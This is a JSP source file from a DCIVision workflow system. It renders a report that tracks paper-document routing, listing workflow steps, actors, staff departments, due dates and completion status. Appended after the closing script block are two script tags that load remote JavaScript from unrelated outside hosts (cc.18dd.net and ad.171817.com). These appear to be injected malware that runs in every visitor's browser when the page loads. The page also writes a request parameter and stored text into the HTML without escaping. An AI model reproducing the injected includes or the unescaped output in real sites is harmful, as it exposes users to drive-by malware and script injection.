<%
/*
 * @(#)ListWorkflowDocTracking.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowDocTracking.jsp

  This is a ListWorkflowDocTracking page.  It shows paper document routing.

    @author             Lun Au
    @company            DCIVision Ltd
    @creation date      26/10/2004
    @version            $Revision: 1.34.26.7 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.util.Iterator"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="java.util.Map"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.workflow.core.SystemWorkflowConstant"%>
<%@ page import="com.dcivision.user.bean.UserGroup"%>
<%@ page import="com.dcivision.user.dao.UserGroupDAObject"%>
<%@ page import="com.dcivision.staff.bean.*"%>
<%@ page import="com.dcivision.staff.dao.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowDocTrackingForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowDocTrackingForm"/>
<%try{
  java.sql.Connection dbConn = (java.sql.Connection)request.getAttribute(GlobalConstant.DB_KEY);

  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "workflowDocTrackingList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"workflow.columnheader.track_id", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.columnheader.priority", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.columnheader.workflow_code", GlobalConstant.NOT_AVAILABLE},
                            //{"workflow.columnheader.description", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.columnheader.step_name", GlobalConstant.NOT_AVAILABLE},
                            //{"workflow.columnheader.actor", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.columnheader.status", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.columnheader.due_date", GlobalConstant.NOT_AVAILABLE},
                            //{"workflow.columnheader.submitter", GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.updater", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.label.progress_comment", GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.update_date", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.columnheader.complete_flag", GlobalConstant.NOT_AVAILABLE}
                          };

  String[][] SEARCH_MAP = { {"workflow.columnheader.track_id", "A.TRACK_ID"},
                            {"workflow.columnheader.workflow_code", "C.WORKFLOW_CODE"},
                            {"workflow.columnheader.category", "D.WORKFLOW_CATEGORY_NAME"},
                            {"workflow.columnheader.description", "C.DESCRIPTION"}
                          };

  int     COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY,SystemFunctionConstant.WORKFLOW_MONITOR);


%>
<script language="JavaScript">
<!--
function INIT() {
  document.listWorkflowDocTrackingForm.docReferenceNumber.focus();
}

function CusOpListReset(frm) {
  frm.docReferenceNumber.value = '';
  return OpListReset(frm);
}

function CusOpList(frm,par1,par2) {
   if(frm.docReferenceNumber){
     if(frm.docReferenceNumber.value == ""){
       alert("<bean:message key='workflow.message.doc_reference_no_is_required'/>");
       return false;
     }
   }
  return OpList(frm,par1,par2);
}

 function showDocReferenceNo(property) {
    var url = "<%= request.getContextPath() %>" + "/dms/PopupPaperDocumentRecord.do?SHOW_HEADER_FOOTER=N&property=" + property + "&form=" + document.forms['listWorkflowDocTrackingForm'].name + "&mode=multiple";
    var name = "DCIVisionPopupStaff";
    var popW = "700";
    var popH = "400";
    var feature = "scrollbars=yes,resizable=yes";

    OpenCenteredPopup(url, name, popW, popH, feature);
    return false;
}

document.onkeydown = function() {
  if (window.event && window.event.keyCode == 13 ) {
    return(CusOpList(listWorkflowDocTrackingForm, '<bean:write name='listWorkflowDocTrackingForm' property='sortAttribute' replace=''/>', '<bean:write name='listWorkflowDocTrackingForm' property='sortOrder' replace=''/>'));
  }
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowDocTracking" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute" value="UPDATE_DATE"/>
<html:hidden property="sortOrder" value="ASC"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="returnTo"/>
<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/> [<bean:message key='workflow.label.doc_track_report'/>]</font>
<layout:returnButton>
<%if((!Utility.isEmpty(listWorkflowDocTrackingForm.getReturnTo()))&&
  (listWorkflowDocTrackingForm.getReturnTo().indexOf("ListDmsPaperDocument.do")>0)){
%>
  <%=listWorkflowDocTrackingForm.getReturnTo()%>
<%}else{%>
ListWorkflowMonitoringGroup.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
<%}%>
</layout:returnButton>
</layout:titleFormat>
<!-- Page Title Section End -->

<!-- Search Panel Begin -->
<table cellpadding="1" cellspacing="1" border="0" width="100%" height="40" background="<html:img src='LayoutFinderLongBg.gif'  pathOnly='true'/>">
  <tr>
    <td valign="top">&nbsp;&nbsp;<html:img src='IconFinder.gif' />
      <b><bean:message key='workflow.label.document_reference_number'/>:&nbsp;<html:hidden property='documentID'/></b>
      <html:text property='docReferenceNumber' maxlength='30'  onkeypress="onKeyPress();"/><a href="javascript://" onclick="return showDocReferenceNo('docReferenceNumber');"><html:img imageName="popupIcon1" src="IconSearchStaff.gif" /></a>
      &nbsp;&nbsp;
      <html:standardButton label="common.label.search" onClick="return CusOpList(listWorkflowDocTrackingForm, '${listWorkflowDocTrackingForm.sortAttribute}', '${listWorkflowDocTrackingForm.sortOrder}')"/>
      <html:standardButton label="common.label.reset" onClick="return CusOpListReset(listWorkflowDocTrackingForm)"/>
    </td>
  </tr>
  <html:hidden property='basicSearchField'/>
  <html:hidden property='basicSearchKeyword'/>
</table>
<!-- Search Panel End -->
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>

<!-- System And Error Messages Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<logic:notEmpty name='listWorkflowDocTrackingForm' property='docReferenceNumber'>
<html:errors/>
<html:messages/>
</logic:notEmpty>
</td></tr></table>
<!-- System And Error Messages End -->

<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="100">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td bgcolor="#000000" width="13"><table width="100%" border="0" cellspacing="1" cellpadding="0">
            <tr>
              <td bgcolor="#FFE5FA"><html:img src='Spacer.gif'  height='13' width='13'/></td>
            </tr>
          </table></td>
          <td><b><nobr>&nbsp;<bean:message key='workflow.label.delay_tasks'/></b></nobr></td>
        </tr>
      </table>
    </td>
    <td><html:img src='LayoutSpacer.gif'  width='5'/></td>
    <td width="100">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td bgcolor="#000000" width="13"><table width="100%" border="0" cellspacing="1" cellpadding="0">
            <tr>
              <td bgcolor="#E5FFEA"><html:img src='Spacer.gif'  height='13' width='13'/></td>
            </tr>
          </table></td>
          <td><nobr><b>&nbsp;<bean:message key='workflow.label.on_time_tasks'/></b></nobr></td>
        </tr>
      </table>
    </td>
    <td align="right">
    <bean:message key='workflow.label.priority'/>:
    <html:img src='IconPriorityLow.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.priority_1"))%>'/> <b><bean:message key='workflow.label.priority_1'/></b>&nbsp;&nbsp;
    <html:img src='IconPriorityMedium.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.priority_2"))%>'/> <b><bean:message key='workflow.label.priority_2'/></b>&nbsp;&nbsp;
    <html:img src='IconPriorityHigh.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.priority_3"))%>'/> <b><bean:message key='workflow.label.priority_3'/></b>&nbsp;&nbsp;
    </td>
  </tr>
</table>
<!-- Table Heading End -->

<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listWorkflowDocTrackingForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listWorkflowDocTrackingForm.getSortAttribute()%>" sortOrder="<%=listWorkflowDocTrackingForm.getSortOrder()%>" checkColumn='false' editColumn='false' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowDocTrackingRecord" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr><%WorkflowDocTrackingRecord wdt = (WorkflowDocTrackingRecord)workflowDocTrackingRecord;%>
    <td colspan="11"><b><%
      for ( int i = 0 ; i < wdt.size() ; i++ ){
        WorkflowProgress wpg = wdt.get(i);
        if ( i == 0 ) {
          List users = wdt.getWorkflowProgressUserRecord(i);
          Iterator usrItr = users.iterator();
          StringBuffer sbUsers = new StringBuffer("[");
          while ( usrItr.hasNext() ) {
            MtmWorkflowProgressUserRecord userRecord = (MtmWorkflowProgressUserRecord)usrItr.next();

            sbUsers.append ( "<img src=\""+request.getContextPath()+"/theme/pref"+sessionContainer.getPreference()+"/img/common/IconUser.gif\">" );
            sbUsers.append ( "<a href=\"javascript:void(0)\" onmouseover=\"return getPopupInfo('Show Current Login User Information.')\" onmouseout=\"return nd()\" onclick=\"return OpenCenteredPopup('"+request.getContextPath()+"/jsp/common/ViewUserBasicInfo.jsp?userRecordID="+userRecord.getUserRecordID()+"','DCIVisionShowUserInfo',400,300,'scrollbars=yes')\">" );
            sbUsers.append ( userRecord.getUserRecordName() ).append ( "</a>" );

                // TODO: Remove the DAO access in JSP pages.
                StaffRecordDAObject staffRecordDAO = new StaffRecordDAObject(sessionContainer, dbConn);
                StaffHierarchyDAObject staffHierarchyDAO = new StaffHierarchyDAObject(sessionContainer, dbConn);
                StaffRecord staffRecord = (StaffRecord)staffRecordDAO.getObjectByUserRecordID(userRecord.getUserRecordID());
                List fullHierarchyList = staffHierarchyDAO.getFullList();
                Map hierarchy = new HashMap();
                for ( int j = 0 ; j < fullHierarchyList.size() ; j++ ) {
                  StaffHierarchy staffHierarchy = (StaffHierarchy)fullHierarchyList.get(j);
                  hierarchy.put ( staffHierarchy.getID(), staffHierarchy );
                }
                if ( !Utility.isEmpty(staffRecord.getLevel1ID()) && hierarchy.containsKey(staffRecord.getLevel1ID()) ) {
                  sbUsers.append(" (").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel1ID()) ).getName() );
                  if ( !Utility.isEmpty(staffRecord.getLevel2ID()) && hierarchy.containsKey(staffRecord.getLevel2ID()) ) {
                    sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel2ID()) ).getName() );
                    if ( !Utility.isEmpty(staffRecord.getLevel3ID()) && hierarchy.containsKey(staffRecord.getLevel3ID()) ) {
                      sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel3ID()) ).getName() );
                      if ( !Utility.isEmpty(staffRecord.getLevel4ID()) && hierarchy.containsKey(staffRecord.getLevel4ID()) ) {
                        sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel4ID()) ).getName() );
                        if ( !Utility.isEmpty(staffRecord.getLevel5ID()) && hierarchy.containsKey(staffRecord.getLevel5ID()) ) {
                          sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel5ID()) ).getName() );
                          if ( !Utility.isEmpty(staffRecord.getLevel6ID()) && hierarchy.containsKey(staffRecord.getLevel6ID()) ) {
                            sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel6ID()) ).getName() );
                            if ( !Utility.isEmpty(staffRecord.getLevel7ID()) && hierarchy.containsKey(staffRecord.getLevel7ID()) ) {
                              sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel7ID()) ).getName() );
                              if ( !Utility.isEmpty(staffRecord.getLevel8ID()) && hierarchy.containsKey(staffRecord.getLevel8ID()) ) {
                                sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel8ID()) ).getName() );
                                if ( !Utility.isEmpty(staffRecord.getLevel9ID()) && hierarchy.containsKey(staffRecord.getLevel9ID()) ) {
                                  sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel9ID()) ).getName() );
                                  if ( !Utility.isEmpty(staffRecord.getLevel10ID()) && hierarchy.containsKey(staffRecord.getLevel10ID()) ) {
                                    sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel10ID()) ).getName() );
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                  sbUsers.append(")");
                }

            sbUsers.append ( " (" ).append ( TextUtility.getDateTimeFormat().format(userRecord.getUpdateDate()) ).append ( ")" );
            if ( usrItr.hasNext() ) {
              sbUsers.append ( ";" );
            }
          }
          sbUsers.append ( "]" );
          out.println ( sbUsers.toString() );
        } else {
          List userActorList = wpg.getUserActorList();
          if ( userActorList.size() > 0 ) {
            Iterator userActorItr = userActorList.iterator();
            out.println ( " >> " );
            StringBuffer sbActors = new StringBuffer("[");

            List users = wdt.getWorkflowProgressUserRecord(i);
            Iterator usrItr = users.iterator();
            while ( usrItr.hasNext() ) {
              MtmWorkflowProgressUserRecord userRecord = (MtmWorkflowProgressUserRecord)usrItr.next();
              if ( WorkflowProgress.STATUS_PENDING.equals(userRecord.getWorkflowAction()) ) continue;
              sbActors.append ( "<img src=\""+request.getContextPath()+"/theme/pref"+sessionContainer.getPreference()+"/img/common/IconUser.gif\">" );
              sbActors.append ( "<a href=\"javascript:void(0)\" onmouseover=\"return getPopupInfo('Show Current Login User Information.')\" onmouseout=\"return nd()\" onclick=\"return OpenCenteredPopup('"+request.getContextPath()+"/jsp/common/ViewUserBasicInfo.jsp?userRecordID="+userRecord.getUserRecordID()+"','DCIVisionShowUserInfo',400,300,'scrollbars=yes')\">" );
              sbActors.append ( userRecord.getUserRecordName() ).append ( "</a>" );
              sbActors.append ( "(" ).append ( TextUtility.getDateTimeFormat().format(userRecord.getUpdateDate()) ).append ( ")" );

              if ( usrItr.hasNext() ) {
                sbActors.append(";");
              }
            }

            sbActors.append ( "(" );
            while ( userActorItr.hasNext() ) {
              MtmWorkflowStepUserActor userActor = (MtmWorkflowStepUserActor)userActorItr.next();
              String iconName = "IconUser.gif";
              if ( !userActor.getActorType().equals("D") ) {
                  if (MtmWorkflowStepUserActor.ACTOR_TYPE_USER.equals(userActor.getActorType())) {
                    iconName = "IconUser.gif";
                  } else if (MtmWorkflowStepUserActor.ACTOR_TYPE_GROUP.equals(userActor.getActorType())) {
                    iconName = "IconGroup.gif";
                  } else if (MtmWorkflowStepUserActor.ACTOR_TYPE_ROLE.equals(userActor.getActorType())) {
                    iconName = "IconRole.gif";
                  }
                  sbActors.append ( "<img src=\""+request.getContextPath()+"/theme/pref"+sessionContainer.getPreference()+"/img/common/"+iconName+"\">" );
                  sbActors.append ( userActor.getActorName() );
                  if ( userActorItr.hasNext() ) {
                    sbActors.append  ( "&nbsp;" );
                  }
              } else {
                  sbActors.append ( MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.dynamic_assign" ) );
              }
            }
            sbActors.append( ")" );
            sbActors.append( "]" );
            out.println ( sbActors.toString() );
          }
        }
      }
    %></b></td>
  </tr>
  <logic:iterate id="workflowProgress" name="workflowDocTrackingRecord" property="workflowProgressList">
    <bean:define id='status' name='workflowProgress' property='status' type='java.lang.String'/>
    <bean:define id='priority' name='workflowProgress' property='priority' type='java.lang.String'/>
  <% if ( ((WorkflowProgress)workflowProgress).isDelay() ) { %>
  <tr bgcolor="#FFE5FA">
  <% } else if ( !WorkflowProgress.STATUS_PENDING.equals(status) ) { %>
  <tr bgcolor="#E5FFEA">
  <% } else { %>
  <tr bgcolor="#FFFFFF">
  <% } %>
    <td align="center">
      <a href="MaintWorkflowTrack.do?returnURL=<%=java.net.URLEncoder.encode("ListWorkflowDocTracking.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN)%>&navMode=V&trackID=<bean:write name='workflowProgress' property='trackID'/>&ID=<bean:write name='workflowProgress' property='workflowRecordID'/>" style="color:#0000FF;"><b><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), ((WorkflowProgress)workflowProgress).getTrackID() )%></b></a>
    </td>
    <td>
      <% if (GlobalConstant.PRIORITY_HIGH.equals(priority)) { %>
      <html:img src='IconPriorityHigh.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.priority_3"))%>'/>
      <% } else if (GlobalConstant.PRIORITY_MEDIUM.equals(priority)) { %>
      <html:img src='IconPriorityMedium.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.priority_2"))%>'/>
      <% } else if (GlobalConstant.PRIORITY_LOW.equals(priority)) { %>
      <html:img src='IconPriorityLow.gif'  align='absmiddle' alt='<%=TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.priority_1"))%>'/>
      <% } %>
    </td>
    <td><bean:write name='workflowProgress' property='workflowCode'/> - <bean:write name='workflowProgress' property='workflowVersion'/></td>
<%--    <td><bean:write name='workflowProgress' property='workflowDescription'/></td> --%>
    <td><wfm:stepInfo workflowProgress="<%=(WorkflowProgress)workflowProgress%>"/></td>
    <td><font class="progress_status_<%=status%>"><bean:message key='<%="workflow.label.step_status_"+ status%>'/></font></td>
    <td><bean:write name='workflowProgress' property='dueDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
<%--    <td><bean:write name='workflowProgress' property='submitter'/></td> --%>
    <td class="bodyVerySmall"><bean:write name='workflowProgress' property='updaterName'/></td>
    <td><%
      MtmWorkflowProgressUserRecordDAObject progressUserRecordDAO = new MtmWorkflowProgressUserRecordDAObject(sessionContainer, dbConn);
      MtmWorkflowProgressUserRecord progressUserRecord = progressUserRecordDAO.getUserRouteObjectByWorkflowProgressIDUserRecordID(((WorkflowProgress)workflowProgress).getID(), ((WorkflowProgress)workflowProgress).getUpdaterID());
      if(!Utility.isEmpty(progressUserRecord) && !Utility.isEmpty(progressUserRecord.getReason())){
        out.println(progressUserRecord.getReason());
      }
    %></td>
    <td class="bodyVerySmall" nowrap><bean:write name='workflowProgress' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td>
    <logic:equal name='workflowProgress' property='completeFlag' value='<%=GlobalConstant.TRUE%>'>
    <html:img src='IconTick.gif' />
    </logic:equal>
    <logic:equal name='workflowProgress' property='completeFlag' value='<%=GlobalConstant.FALSE%>'>
    <html:img src='IconCross.gif' />
    </logic:equal>
    </td>
  </tr>
  </logic:iterate>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listWorkflowDocTrackingForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">&nbsp;</td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
  <!-- Pager Information End -->
</table>
</td></tr></table>
</td></tr></table>
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->
<%}catch(Exception ex2){
  LogFactory.getLog(this.getClass()).error(ex2, ex2);
}%>
<script language="JavaScript">
function onKeyPress(){
if(event.keyCode==13)CusOpList(listWorkflowDocTrackingForm, '<bean:write name='listWorkflowDocTrackingForm' property='sortAttribute' replace=''/>', '<bean:write name='listWorkflowDocTrackingForm' property='sortOrder' replace=''/>');
}
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>